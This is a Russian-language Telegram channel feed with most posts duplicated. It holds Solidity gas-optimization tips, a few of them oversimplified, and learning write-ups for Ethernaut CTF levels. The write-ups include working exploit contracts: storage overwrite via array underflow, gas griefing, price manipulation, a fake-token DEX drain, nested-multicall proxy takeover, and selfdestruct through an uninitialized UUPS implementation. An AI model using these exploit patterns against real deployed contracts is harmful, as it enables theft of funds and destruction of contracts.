Оптимизация газа - 9
В выражениях, где используются операторы сравнения (<,>,<=,>=), дешевле будет использовать простые операторы - < или >, так как в случае с <= и >= компилятор сначала использует опкод "больше / меньше", а после опкод "iszero", чтобы проверить результат работы предыдущего сравнения.
#gas #optimization #hint
В выражениях, где используются операторы сравнения (<,>,<=,>=), дешевле будет использовать простые операторы - < или >, так как в случае с <= и >= компилятор сначала использует опкод "больше / меньше", а после опкод "iszero", чтобы проверить результат работы предыдущего сравнения.
#gas #optimization #hint
😱1
Оптимизация газа - 10
Когда вы используете require с двумя и более проверками, то в начало ставьте операторы && или | | для уменьшения стоимости газа. Например:
- require(A | | B) - если true, то компилятор не будет проверять остальные значения;
- require (A && B) - если false, то компилятор также остановит проверку дальше;
#gas #optimization #hint
Когда вы используете require с двумя и более проверками, то в начало ставьте операторы && или | | для уменьшения стоимости газа. Например:
- require(A | | B) - если true, то компилятор не будет проверять остальные значения;
- require (A && B) - если false, то компилятор также остановит проверку дальше;
#gas #optimization #hint
Оптимизация газа - 11
Указание правильной видимости функций влияет не только на безопасность ее исполнения, но и на экономию газа.
Например, создав external функцию, вы установите место хранения ее параметров, как calldata. Это позволит экономить газ каждый раз при ее вызове.
#gas #optimization #hint
Указание правильной видимости функций влияет не только на безопасность ее исполнения, но и на экономию газа.
Например, создав external функцию, вы установите место хранения ее параметров, как calldata. Это позволит экономить газ каждый раз при ее вызове.
#gas #optimization #hint
👍1
Оптимизация газа - 12
В Solidity некоторые data types дороже остальных. Вот несколько рекомендаций к их использованию:
- Тип uint лучше использовать вместо string, если это возможно;
- uint256 стоит меньше, чем uint8;
- bytes лучше использовать вместо byte[];
- Если длина bytes может быть ограничена, то лучше использовать наименьшие числа от bytes1 до bytes32;
- bytes32 дешевле, чем string;
#gas #optimization #hint
В Solidity некоторые data types дороже остальных. Вот несколько рекомендаций к их использованию:
- Тип uint лучше использовать вместо string, если это возможно;
- uint256 стоит меньше, чем uint8;
- bytes лучше использовать вместо byte[];
- Если длина bytes может быть ограничена, то лучше использовать наименьшие числа от bytes1 до bytes32;
- bytes32 дешевле, чем string;
#gas #optimization #hint
👍1
Оптимизация газа - 13
Если вам нужно провести цикл по массиву, то, для экономии газа, следует зафиксировать его длину в переменную выше. Например так:
uint length = arr.length;
for (uint i = 0; i < length; i++) {
// do something that doesn't change arr.length
}
так как в случае i < arr.length компилятор будет считывать длину при каждой итерации, что потребует дополнительного газа.
#gas #optimization #hint
Если вам нужно провести цикл по массиву, то, для экономии газа, следует зафиксировать его длину в переменную выше. Например так:
uint length = arr.length;
for (uint i = 0; i < length; i++) {
// do something that doesn't change arr.length
}
так как в случае i < arr.length компилятор будет считывать длину при каждой итерации, что потребует дополнительного газа.
#gas #optimization #hint
👍1
Оптимизация газа - 14
В некоторых случаях, пометив переменные как immutable, можно сэкономить немного газа при их вызове позже. Например:
contract C {
/// The owner is set during construction time, and never changed afterwards.
address public owner = msg.sender;
}
В этом случае, при вызове owner будет задействован sload, и будет затрачено 2100 газа при первом вызове и 100 - при последующих. Однако в следующем примере:
contract C {
/// The owner is set during construction time, and never changed afterwards.
address public immutable owner = msg.sender;
}
sload не применяется и вызов owner будет стоить всего 3 газа.
#gas #optimization #hint
В некоторых случаях, пометив переменные как immutable, можно сэкономить немного газа при их вызове позже. Например:
contract C {
/// The owner is set during construction time, and never changed afterwards.
address public owner = msg.sender;
}
В этом случае, при вызове owner будет задействован sload, и будет затрачено 2100 газа при первом вызове и 100 - при последующих. Однако в следующем примере:
contract C {
/// The owner is set during construction time, and never changed afterwards.
address public immutable owner = msg.sender;
}
sload не применяется и вызов owner будет стоить всего 3 газа.
#gas #optimization #hint
👍1
Оптимизация газа - 15
Используйте смещения вместо деления. Более того в этом случае не произойдет overflow.
#gas #optimization #hint
Используйте смещения вместо деления. Более того в этом случае не произойдет overflow.
#gas #optimization #hint
Оптимизация газа - 16
Тип bool в Solidity занимает 1 байт в памяти, из которых используется только один байт. При необходимости нескольких булевых значений можно заменить bool на uint32 или uint256 и битовой арифметики. Таким образом, uint256 может хранить до 256 булевых значений.
#gas #optimization #hint
Тип bool в Solidity занимает 1 байт в памяти, из которых используется только один байт. При необходимости нескольких булевых значений можно заменить bool на uint32 или uint256 и битовой арифметики. Таким образом, uint256 может хранить до 256 булевых значений.
#gas #optimization #hint
👍1
Оптимизация газа - 17
Ключевое слово event позволяет объявить события которая потом можно пробрасывать во время выполнения контракта, и эти события будут доступны извне. Помечание аргументов ключевым словом indexed позволяет искать по ним с помощью фильтров, но не только - они начинают стоит меньше памяти. Секрет кроется в том, что indexed аргументы кладутся на стек, а обычные - в память. Стоимость новой памяти растет квадратично, и использование indexed параметров почти всегда сохранит газ.
#gas #optimization #hint
Ключевое слово event позволяет объявить события которая потом можно пробрасывать во время выполнения контракта, и эти события будут доступны извне. Помечание аргументов ключевым словом indexed позволяет искать по ним с помощью фильтров, но не только - они начинают стоит меньше памяти. Секрет кроется в том, что indexed аргументы кладутся на стек, а обычные - в память. Стоимость новой памяти растет квадратично, и использование indexed параметров почти всегда сохранит газ.
#gas #optimization #hint
👍1
Оптимизация газа - 18
Ну, и в завершении, несколько дополнительных общих рекомендаций:
1. Используйте последние версии Solidity, так как они более безопасные и оптимизированные по газу;
2. Не используйте длинные string в revert(condition, string).
3. Лучше использовать кастомные Error, так как они дешевле по газу и стоимости деплоя. Более того, им можно дать подробное описание для других разработчиков в natspec;
Следите за циклами:
4) Чтобы не было dead функций:
if(x < 1) {
if(x > 2) {
return x;
}
}
5) Чтобы не было не нужны частей:
if(x > 1) {
if(x > 0) {
return x;
}
}
6) Чтобы не было не нужных циклов:
function constantOutcome() public pure returns(uint) {
uint num = 0;
for(uint i = 0; i < 100; i++) {
num += 1;
}
return num;
}
7) Чтобы не было overflow:
for (uint256 i = 0; i < length; ) {
// do something that doesn't change the value of i
unchecked {
i++;
}
}
Другие способы оптимизации газа ранее были на канале и будут еще. Следите за хештегами и присылайте свои заметки.
#gas #optimization #hint
Ну, и в завершении, несколько дополнительных общих рекомендаций:
1. Используйте последние версии Solidity, так как они более безопасные и оптимизированные по газу;
2. Не используйте длинные string в revert(condition, string).
3. Лучше использовать кастомные Error, так как они дешевле по газу и стоимости деплоя. Более того, им можно дать подробное описание для других разработчиков в natspec;
Следите за циклами:
4) Чтобы не было dead функций:
if(x < 1) {
if(x > 2) {
return x;
}
}
5) Чтобы не было не нужны частей:
if(x > 1) {
if(x > 0) {
return x;
}
}
6) Чтобы не было не нужных циклов:
function constantOutcome() public pure returns(uint) {
uint num = 0;
for(uint i = 0; i < 100; i++) {
num += 1;
}
return num;
}
7) Чтобы не было overflow:
for (uint256 i = 0; i < length; ) {
// do something that doesn't change the value of i
unchecked {
i++;
}
}
Другие способы оптимизации газа ранее были на канале и будут еще. Следите за хештегами и присылайте свои заметки.
#gas #optimization #hint
Гайд_по_проверке_контракта_и_его_кода.pdf
440.4 KB
Гайд по проверке контракта
За эту неделю я прочитал огромное количество информации по безопасности, включая все материалы из roadmap, который публиковал в начале этой недели.
Из всего я понял два основных момента:
1. Контракты строятся на максимальном zero-trust. Ни кому не доверять и проверять каждый шаг пользователя.
2. В контракте должны быть роли доступа. Самый простой пример это owner и другие пользователи. Если функцию, которую должен вызывать только owner, не защитить, то злоумышленник найдет способы, как пройти проверки и вызвать ее.
Из всех материалов в roadmap, меня привлек этот прекрасный гайд для проверки своего смарт контракта. Если пройтись по всем вопросам внимательно, то безопасность вашего контракта возрастет в несколько раз.
Предлагаю его перевод для всех.
#гайд #проверка
За эту неделю я прочитал огромное количество информации по безопасности, включая все материалы из roadmap, который публиковал в начале этой недели.
Из всего я понял два основных момента:
1. Контракты строятся на максимальном zero-trust. Ни кому не доверять и проверять каждый шаг пользователя.
2. В контракте должны быть роли доступа. Самый простой пример это owner и другие пользователи. Если функцию, которую должен вызывать только owner, не защитить, то злоумышленник найдет способы, как пройти проверки и вызвать ее.
Из всех материалов в roadmap, меня привлек этот прекрасный гайд для проверки своего смарт контракта. Если пройтись по всем вопросам внимательно, то безопасность вашего контракта возрастет в несколько раз.
Предлагаю его перевод для всех.
#гайд #проверка
👍4🔥1
Новая неделя - старые задачи
Привет всем!
На этой недели мы продолжим разбирать задачи с ethernaut и скорее всего начнем разбор нескольких с damn vulnerable defi.
Я еще не настолько хорош в этом, поэтому на каждую задачу трачу около 2-3 часов, включая изучение кода, поиск уязвимости, поиск решения, описание решения и пост. И к 3 задаче голова уже отказывается воспринимать новую информацию.
Тем не менее, в сети я нашел несколько интересных статей, которые также постараюсь переводить в течение недели.
Еще хочу узнать, пользуетесь ли вы плагинами в своем редакторе кода? Нужно ли составить краткую подборку по существующим решениям?
Всем приятной недели и легкого обучения!
Привет всем!
На этой недели мы продолжим разбирать задачи с ethernaut и скорее всего начнем разбор нескольких с damn vulnerable defi.
Я еще не настолько хорош в этом, поэтому на каждую задачу трачу около 2-3 часов, включая изучение кода, поиск уязвимости, поиск решения, описание решения и пост. И к 3 задаче голова уже отказывается воспринимать новую информацию.
Тем не менее, в сети я нашел несколько интересных статей, которые также постараюсь переводить в течение недели.
Еще хочу узнать, пользуетесь ли вы плагинами в своем редакторе кода? Нужно ли составить краткую подборку по существующим решениям?
Всем приятной недели и легкого обучения!
👍1
Ethernaut. Задача 19. Alien Codex
В этой задаче нам нужно завладеть правами owner.
Ссылка на задачу
В чем суть?
Задача не актуальная для версий языка выше 0.6, потому что метод .length стал read-only.
В самом контракте AlienCodex нет никаких намеков на переменную owner, но если мы развернем контракт, то увидим, что она наследуется из другого контракта Ownable.
По сути, это еще одна задача на работу с памятью контракта и overflow.
Если разобрать контракты внимательнее, то заметим, что переменные owner и contract помещаются в 32 байта, а значит лежат в нулевом слоте памяти. Массив codex лежит уже во втором слоте.
Как намек на дальнейшие действия, нам дана функция retract(), которая уменьшает длину массива. Хотя казалось бы, зачем его уменьшать, когда и так в нем ничего нет.
Однако, выполнив данную функцию, мы вызовем переполнение и получим доступ ко всей памяти контракта. Мы же помним, что максимальная память контракта равна (2 ** 256) - 1?
Затем нам останется всего лишь перевести новый адрес владельца в bytes32, так как revise() принимает этот аргумент, и вызвать поочередно функции AlienCodex контракта (пройти модификатор, вызвать переполнение, записать owner):
contract AlienHack {
AlienCodex alien;
constructor (address _alien) public{
alien = AlienCodex(_alien);
}
function exploit () external {
uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
bytes32 myAddress = bytes32(uint256(uint160(tx.origin)));
alien.make_contact();
alien.retract();
alien.revise(index, myAddress);
}
}
В index мы просто таким образом вычисляем нулевой слот, где и лежит переменная owner.
#ethernaut
В этой задаче нам нужно завладеть правами owner.
Ссылка на задачу
В чем суть?
Задача не актуальная для версий языка выше 0.6, потому что метод .length стал read-only.
В самом контракте AlienCodex нет никаких намеков на переменную owner, но если мы развернем контракт, то увидим, что она наследуется из другого контракта Ownable.
По сути, это еще одна задача на работу с памятью контракта и overflow.
Если разобрать контракты внимательнее, то заметим, что переменные owner и contract помещаются в 32 байта, а значит лежат в нулевом слоте памяти. Массив codex лежит уже во втором слоте.
Как намек на дальнейшие действия, нам дана функция retract(), которая уменьшает длину массива. Хотя казалось бы, зачем его уменьшать, когда и так в нем ничего нет.
Однако, выполнив данную функцию, мы вызовем переполнение и получим доступ ко всей памяти контракта. Мы же помним, что максимальная память контракта равна (2 ** 256) - 1?
Затем нам останется всего лишь перевести новый адрес владельца в bytes32, так как revise() принимает этот аргумент, и вызвать поочередно функции AlienCodex контракта (пройти модификатор, вызвать переполнение, записать owner):
contract AlienHack {
AlienCodex alien;
constructor (address _alien) public{
alien = AlienCodex(_alien);
}
function exploit () external {
uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
bytes32 myAddress = bytes32(uint256(uint160(tx.origin)));
alien.make_contact();
alien.retract();
alien.revise(index, myAddress);
}
}
В index мы просто таким образом вычисляем нулевой слот, где и лежит переменная owner.
#ethernaut
Ethernaut. Задача 20. Denial
В этой задаче нам нужно выводить деньги так, чтобы owner не смог получить свой процент.
Ссылка на задачу
В чем суть?
Задача, которая иллюстрирует пример атаки gas griefing. Так как в функции withdraw() после перечисление денег нам через низкоуровневый вызов, контракт Denial не ждет return, мы можем использовать весь доступный газ в функции на операции в своем контракте.
Нам достаточно создать бесконечный цикл в fallback функции, чтобы владелец Denial никогда не получил свои процент.
contract Attack {
Denial denial;
constructor(address _addr) {
denial = Denial(payable(_addr));
denial.setWithdrawPartner(address(this));
}
fallback() payable external{
uint a = 0;
while(true)
{
a++;
}
}
}
Рекомендация. Всегда в таких случаях перечисляйте деньги себе, а уже потом партнеру. Более того, всегда следует обрабатывать return в call вызовах.
#ethernaut
В этой задаче нам нужно выводить деньги так, чтобы owner не смог получить свой процент.
Ссылка на задачу
В чем суть?
Задача, которая иллюстрирует пример атаки gas griefing. Так как в функции withdraw() после перечисление денег нам через низкоуровневый вызов, контракт Denial не ждет return, мы можем использовать весь доступный газ в функции на операции в своем контракте.
Нам достаточно создать бесконечный цикл в fallback функции, чтобы владелец Denial никогда не получил свои процент.
contract Attack {
Denial denial;
constructor(address _addr) {
denial = Denial(payable(_addr));
denial.setWithdrawPartner(address(this));
}
fallback() payable external{
uint a = 0;
while(true)
{
a++;
}
}
}
Рекомендация. Всегда в таких случаях перечисляйте деньги себе, а уже потом партнеру. Более того, всегда следует обрабатывать return в call вызовах.
#ethernaut
Ethernaut. Задача 21. Shop
В этой задаче нам нужно уменьшить цену покупки.
Ссылка на задачу
В чем суть?
Похожая задача уже была ранее на канале, которая учит нас не доверять внешним контрактам. В следующей строке:
Buyer _buyer = Buyer(msg.sender);
msg.sender может быть как адрес пользователя, так и адрес чужого контракта.
Функция buy() проверяет, чтобы цена, предложенная покупателем была выше установленной и покупка еще не была совершена ранее. После вызова данной функции, isSold устанавливается как true и ЕЩЕ раз вызывается функция price, которая и устанавливает новое значение в переменной.
Решение может выглядеть так:
contract BrokenShop {
Shop iShop;
constructor (address _shop) public{
iShop = Shop(_shop);
}
function getIt() external {
iShop.buy();
}
function price () external view returns (uint) {
return iShop.isSold() ? 1 : 101;
}
}
Сначала мы инициализируем контракт Shop в конструкторе, для того чтобы функции buyer вызывались не в изначальном контракте, а в нашем.
Затем прописываем две функции. getIt() - запускает весь процесс. А вот функция price(), которая подменяет оригинальную функцию в Buyer, и делает всю работу.
Смотрите, что получается. Когда мы вызвали функцию getIt(), она обратилась к buy() в контракте Shop и прошла проверку if.
Выражение iShop.isSold() ? 1 : 101 говорит, что, если isSold=false, то значение будет равно 101, если true - то 1.
И получается, с isSold=false мы проходим проверку if. Затем isSold меняется на true. И уже после в переменную price СНОВА вызывается наша функция price(), которая отдает значение 1.
Тут надо знать, что view: не может изменять переменные, порождать события, создавать другие контракты, посылать Эфир, делать низкоуровневые вызовы и использовать inline assembly. Она лиши может возвращать значение и обращаться к другим функция view или pure. Именно этим и нужно воспользоваться в данной задаче.
#ethernaut
В этой задаче нам нужно уменьшить цену покупки.
Ссылка на задачу
В чем суть?
Похожая задача уже была ранее на канале, которая учит нас не доверять внешним контрактам. В следующей строке:
Buyer _buyer = Buyer(msg.sender);
msg.sender может быть как адрес пользователя, так и адрес чужого контракта.
Функция buy() проверяет, чтобы цена, предложенная покупателем была выше установленной и покупка еще не была совершена ранее. После вызова данной функции, isSold устанавливается как true и ЕЩЕ раз вызывается функция price, которая и устанавливает новое значение в переменной.
Решение может выглядеть так:
contract BrokenShop {
Shop iShop;
constructor (address _shop) public{
iShop = Shop(_shop);
}
function getIt() external {
iShop.buy();
}
function price () external view returns (uint) {
return iShop.isSold() ? 1 : 101;
}
}
Сначала мы инициализируем контракт Shop в конструкторе, для того чтобы функции buyer вызывались не в изначальном контракте, а в нашем.
Затем прописываем две функции. getIt() - запускает весь процесс. А вот функция price(), которая подменяет оригинальную функцию в Buyer, и делает всю работу.
Смотрите, что получается. Когда мы вызвали функцию getIt(), она обратилась к buy() в контракте Shop и прошла проверку if.
Выражение iShop.isSold() ? 1 : 101 говорит, что, если isSold=false, то значение будет равно 101, если true - то 1.
И получается, с isSold=false мы проходим проверку if. Затем isSold меняется на true. И уже после в переменную price СНОВА вызывается наша функция price(), которая отдает значение 1.
Тут надо знать, что view: не может изменять переменные, порождать события, создавать другие контракты, посылать Эфир, делать низкоуровневые вызовы и использовать inline assembly. Она лиши может возвращать значение и обращаться к другим функция view или pure. Именно этим и нужно воспользоваться в данной задаче.
#ethernaut
Ethernaut. Задачи 22-23
Я объединил эти две задачи в один пост, так как они практически идентичны. Более того, для первой задачи даже не нужно писать никакого кода.
Dex
В этой задаче нам нужно заполучить все токены с одного адреса.
Ссылка на задачу
В чем суть?
Вся соль тут заключается в расчете количества токенов для обмена, а точнее в функции getSwapPrice().
Как мы уже знаем, что в Solidity большие проблемы с корректным делением чисел: если получается число с запятой, то округление идет в меньшую сторону. Например, при 3 / 2 результат будет равен 1.
Все что нам нужно делать тут, так это постоянно обменивать все токены с одного адреса на токены с другого. В итоге, через 6-7 итераций мы получим все токены с желаемого адреса.
Dex two
В этой задаче нам нужно получить токены с обоих адресов.
Ссылка на задачу
В чем суть?
Задача чуть посложнее первой, но суть примерно таже: аккуратнее с расчетами. Тестировать их нужно как можно прицельнее.
В этой задаче исключается всего одна строка из функции swap(), а точнее:
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
Это именно та проверка, которая исключает использование сторонних токенов внутри swap(). Теперь же, мы можем обмануть контракт, всего лишь создав фейковый токен.
Мы создаем два поддельных токена, чтобы украсть два реальных, с помощью простой функции:
SwappableTokenTwo fakeToken1 = new SwappableTokenTwo(address(dexTwo), "Fake_token 1", "fk1", 1000);
И даем Dex Two approve() на их использование и переводы.
Затем нужно подумать, сколько токенов нам потребуется для снятия всех реальных токенов. Вернемся к расчетам в функции getSwapAmount():
amount * tokenTo / tokenFrom
Мы хотим получить все 100 токенов, а значит:
100 token1 = amount * 100 / from
Из этого получается, что нам достаточно использовать 1 фейковый токен, чтобы получить 100 настоящих.
Для этого сначала перебрасываем наш 1 токен на Dex Two:
ERC20(fakeToken1).transfer(address(dexTwo), 1);
А затем вызываем функцию swap():
dexTwo.swap(address(fakeToken1), address(token1), 1);
И мы получаем все реальные токены в обмен на 1 фейковый.
Конечно, на настоящих биржах все уже знают о подобных делениях и используют очень сложные расчеты для обмена токенов. Тем не менее, взломы продолжают иметь место.
#ethernaut
Я объединил эти две задачи в один пост, так как они практически идентичны. Более того, для первой задачи даже не нужно писать никакого кода.
Dex
В этой задаче нам нужно заполучить все токены с одного адреса.
Ссылка на задачу
В чем суть?
Вся соль тут заключается в расчете количества токенов для обмена, а точнее в функции getSwapPrice().
Как мы уже знаем, что в Solidity большие проблемы с корректным делением чисел: если получается число с запятой, то округление идет в меньшую сторону. Например, при 3 / 2 результат будет равен 1.
Все что нам нужно делать тут, так это постоянно обменивать все токены с одного адреса на токены с другого. В итоге, через 6-7 итераций мы получим все токены с желаемого адреса.
Dex two
В этой задаче нам нужно получить токены с обоих адресов.
Ссылка на задачу
В чем суть?
Задача чуть посложнее первой, но суть примерно таже: аккуратнее с расчетами. Тестировать их нужно как можно прицельнее.
В этой задаче исключается всего одна строка из функции swap(), а точнее:
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
Это именно та проверка, которая исключает использование сторонних токенов внутри swap(). Теперь же, мы можем обмануть контракт, всего лишь создав фейковый токен.
Мы создаем два поддельных токена, чтобы украсть два реальных, с помощью простой функции:
SwappableTokenTwo fakeToken1 = new SwappableTokenTwo(address(dexTwo), "Fake_token 1", "fk1", 1000);
И даем Dex Two approve() на их использование и переводы.
Затем нужно подумать, сколько токенов нам потребуется для снятия всех реальных токенов. Вернемся к расчетам в функции getSwapAmount():
amount * tokenTo / tokenFrom
Мы хотим получить все 100 токенов, а значит:
100 token1 = amount * 100 / from
Из этого получается, что нам достаточно использовать 1 фейковый токен, чтобы получить 100 настоящих.
Для этого сначала перебрасываем наш 1 токен на Dex Two:
ERC20(fakeToken1).transfer(address(dexTwo), 1);
А затем вызываем функцию swap():
dexTwo.swap(address(fakeToken1), address(token1), 1);
И мы получаем все реальные токены в обмен на 1 фейковый.
Конечно, на настоящих биржах все уже знают о подобных делениях и используют очень сложные расчеты для обмена токенов. Тем не менее, взломы продолжают иметь место.
#ethernaut
Ethernaut. Задача 24. Puzzle Wallet
В этой задаче нам нужно завладеть правами owner прокси контракта.
Ссылка на задачу
В чем суть?
Дааа, заставила эта задача посидеть над ней... Особенно с функцией multicall() в PuzzleWallet.
Хотя, если я правильно понял, на сегодняшний день контракта UpgradeableProxy в openzeppelin нет. Базовые прокси контракты там делятся на два типа: TransparentUpgradeableProxy и UUPSUpgradeable. Об этом был урок на канале ранее.
В прокси контрактах нужно понимать, как работают слоты памяти для переменных, которые вы объявляете в начале. Крайне важно, чтобы они были не только одинаковыми, но и располагались в одинаковом порядке.
В задаче же порядок нарушен:
address public pendingAdmin;
address public admin;
идут в прокси контракте и в PuzzleWallet:
address public owner;
uint256 public maxBalance;
Следовательно, использовав функцию в прокси контракте proposeNewAdmin(), мы можем не только предложить нового админа для прокси, но и установить админские права в PuzzleWallet.
Далее, по той же логике, нам нужно вызвать функцию в PuzzleWallet setMaxBalance(), которая, установив новый максимальный баланс у себя же, установит нового админа в прокси. Но как это сделать?
Просто вызвать ее не получится, так как на балансе контракта уже лежит 0.001 Эфира. Следовательно, нам нужно вызвать deposit() и пополнить наш баланс.
Однако, прямой вызов deposit() будет пополнять и наш счет и счет контракта, так что баланс контракт всегда будет чуть больше нашего. Поэтому напрямую его делать нельзя.
Обратимся к самой навороченной функции multicall(). Она принимает в себя массив байтов, проходит по нему, создает флаг depositCalled, и в конце через delegatecall() вызывает deposit(). Вот тут и кроется уязвимость.
Флаг depositCalled позволяет вызвать deposit() только один раз. Это защищает вызов от повторного использования. Это может затормозить решение задачи, если не знать некоторых нюансов.
А нюанс заключается в том, что мы можем внутри нашего multicall() вызвать еще один multicall, который в свою очередь будет вызывать deposit(), на который уже не будет ругаться проверка флага.
Разберем примерную логику:
bytes[] memory insideCall = new bytes[](1);
insideCall[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
bytes[] memory calls = new bytes[](2);
calls[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
calls[1] = abi.encodeWithSelector(PuzzleWallet.multicall.selector, insideCall);
Мы создаем массив байтов с фиксированной длиной, и туда с помощью abi.encodeWithSelector кладем функцию deposit().
Затем создаем уже наш "боевой" массив байтов с фиксированной длинной 2.
В первый слот массива просто также кладем зашифрованную функцию deposit(), а во второй - еще раз эту же функцию плюс наш insideCall. Далее сделаем вызов:
puzzleWallet.multicall{value: 0.001 ether}(calls);
Поняли логику? Мы передадим в multicall() наш массив байтов, в котором сможем выполнить deposit() дважды, и немного Эфира.
При этом уже внутри deposit() произойдет небольшая ошибка: так как мы дважды вызвали данную функцию, но передав всего 0.001 Эфира, то баланс контракта будет увеличен на 0.001, а наш личный баланс на 0.002.
Таким образом, после всех этих действий мы сможем вызвать функцию execute(), чтобы обнулить баланс контракта, и потом обратиться к функции setMaxBalance, чтобы захватить права админа в прокси контракте.
Фух, понимаю, пост получился длинный, но задачу по другому не разберешь.
Итак, код может выглядеть так:
В этой задаче нам нужно завладеть правами owner прокси контракта.
Ссылка на задачу
В чем суть?
Дааа, заставила эта задача посидеть над ней... Особенно с функцией multicall() в PuzzleWallet.
Хотя, если я правильно понял, на сегодняшний день контракта UpgradeableProxy в openzeppelin нет. Базовые прокси контракты там делятся на два типа: TransparentUpgradeableProxy и UUPSUpgradeable. Об этом был урок на канале ранее.
В прокси контрактах нужно понимать, как работают слоты памяти для переменных, которые вы объявляете в начале. Крайне важно, чтобы они были не только одинаковыми, но и располагались в одинаковом порядке.
В задаче же порядок нарушен:
address public pendingAdmin;
address public admin;
идут в прокси контракте и в PuzzleWallet:
address public owner;
uint256 public maxBalance;
Следовательно, использовав функцию в прокси контракте proposeNewAdmin(), мы можем не только предложить нового админа для прокси, но и установить админские права в PuzzleWallet.
Далее, по той же логике, нам нужно вызвать функцию в PuzzleWallet setMaxBalance(), которая, установив новый максимальный баланс у себя же, установит нового админа в прокси. Но как это сделать?
Просто вызвать ее не получится, так как на балансе контракта уже лежит 0.001 Эфира. Следовательно, нам нужно вызвать deposit() и пополнить наш баланс.
Однако, прямой вызов deposit() будет пополнять и наш счет и счет контракта, так что баланс контракт всегда будет чуть больше нашего. Поэтому напрямую его делать нельзя.
Обратимся к самой навороченной функции multicall(). Она принимает в себя массив байтов, проходит по нему, создает флаг depositCalled, и в конце через delegatecall() вызывает deposit(). Вот тут и кроется уязвимость.
Флаг depositCalled позволяет вызвать deposit() только один раз. Это защищает вызов от повторного использования. Это может затормозить решение задачи, если не знать некоторых нюансов.
А нюанс заключается в том, что мы можем внутри нашего multicall() вызвать еще один multicall, который в свою очередь будет вызывать deposit(), на который уже не будет ругаться проверка флага.
Разберем примерную логику:
bytes[] memory insideCall = new bytes[](1);
insideCall[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
bytes[] memory calls = new bytes[](2);
calls[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
calls[1] = abi.encodeWithSelector(PuzzleWallet.multicall.selector, insideCall);
Мы создаем массив байтов с фиксированной длиной, и туда с помощью abi.encodeWithSelector кладем функцию deposit().
Затем создаем уже наш "боевой" массив байтов с фиксированной длинной 2.
В первый слот массива просто также кладем зашифрованную функцию deposit(), а во второй - еще раз эту же функцию плюс наш insideCall. Далее сделаем вызов:
puzzleWallet.multicall{value: 0.001 ether}(calls);
Поняли логику? Мы передадим в multicall() наш массив байтов, в котором сможем выполнить deposit() дважды, и немного Эфира.
При этом уже внутри deposit() произойдет небольшая ошибка: так как мы дважды вызвали данную функцию, но передав всего 0.001 Эфира, то баланс контракта будет увеличен на 0.001, а наш личный баланс на 0.002.
Таким образом, после всех этих действий мы сможем вызвать функцию execute(), чтобы обнулить баланс контракта, и потом обратиться к функции setMaxBalance, чтобы захватить права админа в прокси контракте.
Фух, понимаю, пост получился длинный, но задачу по другому не разберешь.
Итак, код может выглядеть так:
function attack() {
PuzzleProxy .proposeNewAdmin(attackerAddress);
puzzleWallet.addToWhitelist(attackerAddress);
bytes[] memory insideCall = new bytes[](1);
insideCall[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
bytes[] memory calls = new bytes[](2);
calls[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
calls[1] = abi.encodeWithSelector(PuzzleWallet.multicall.selector, insideCall);
puzzleWallet.multicall{value: 0.001 ether}(calls);
puzzleWallet.execute(attackerAddress, 0.002 ether, "");
puzzleWallet.setMaxBalance(uint256(attackerAddress));
}
На самом деле задачи ethernaut сейчас открывают смарт контракты с новой стороны для меня. Только вчитавшись в них, порывшись в сети, изучив функции и кодирование, можно понять, что хорошо защищенный контракт может содержать уязвимость.
Для этого мы тут и учимся.
#ethernaut
PuzzleProxy .proposeNewAdmin(attackerAddress);
puzzleWallet.addToWhitelist(attackerAddress);
bytes[] memory insideCall = new bytes[](1);
insideCall[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
bytes[] memory calls = new bytes[](2);
calls[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
calls[1] = abi.encodeWithSelector(PuzzleWallet.multicall.selector, insideCall);
puzzleWallet.multicall{value: 0.001 ether}(calls);
puzzleWallet.execute(attackerAddress, 0.002 ether, "");
puzzleWallet.setMaxBalance(uint256(attackerAddress));
}
На самом деле задачи ethernaut сейчас открывают смарт контракты с новой стороны для меня. Только вчитавшись в них, порывшись в сети, изучив функции и кодирование, можно понять, что хорошо защищенный контракт может содержать уязвимость.
Для этого мы тут и учимся.
#ethernaut
Ethernaut. Задача 25. Motorbike
В этой задаче нам нужно вызвать selfdestruct в контракте Engine и испортить контракт Motorbike.
Ссылка на задачу
В чем суть?
Еще одна задача, решая которую я потратил добрые 3-4 часа... Вообще не понятно, почему она помечена низкой сложностью.
Для ее решения мне пришлось просмотреть кучу статей о работе прокси контрактов, в частности uups.
Вот первая, вторая и третья ссылки, которые помогли мне больше всего.
Суть всей задачи была сведена в инициализацию контракта Engine. Ну, т.е. когда вы создаете прокси контракт, вы должны контракт с логикой инициализировать тоже.
В задаче этого не было сделано. Нам нужно самим вызвать функцию initialize() в Engine с адресом самого Engine, чтобы получить права upgrader.
После этого останется всего лишь upgradeToAndCall() адрес нашего хакерского контракта с selfdestruct. После этого Engine будет уничтожен, а Motorbike станет бесполезным.
contract Destroy{
function kill() external {
selfdestruct(address(0));
}
}
contract Getit {
Motorbike challenge = Motorbike(motorbikeAddress);
Engine engineAddress = Engine(address(uint160(uint256(vm.load(address(challenge), 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)))));
function run() external{
engineAddress.initialize();
bytes memory encodedData = abi.encodeWithSignature("kill()");
engineAddress.upgradeToAndCall(0x04dE0eA8556C85b94E61bC83B43d4FFb6DdC30F1, encodedData);
}
}
Пишу пост сразу после решения задачи, и, возможно, будет звучать он немного сложнее, чем задумывается. Нужно еще много чего прочитать про прокси контракты, чтобы лучше понимать их логику.
Вся суть заключается в том, чтобы при деплое проверять свои контракты на инициализацию в прокси и в логике, чтобы никто не смог извне вызвать напрямую initialize().
#ethernaut
В этой задаче нам нужно вызвать selfdestruct в контракте Engine и испортить контракт Motorbike.
Ссылка на задачу
В чем суть?
Еще одна задача, решая которую я потратил добрые 3-4 часа... Вообще не понятно, почему она помечена низкой сложностью.
Для ее решения мне пришлось просмотреть кучу статей о работе прокси контрактов, в частности uups.
Вот первая, вторая и третья ссылки, которые помогли мне больше всего.
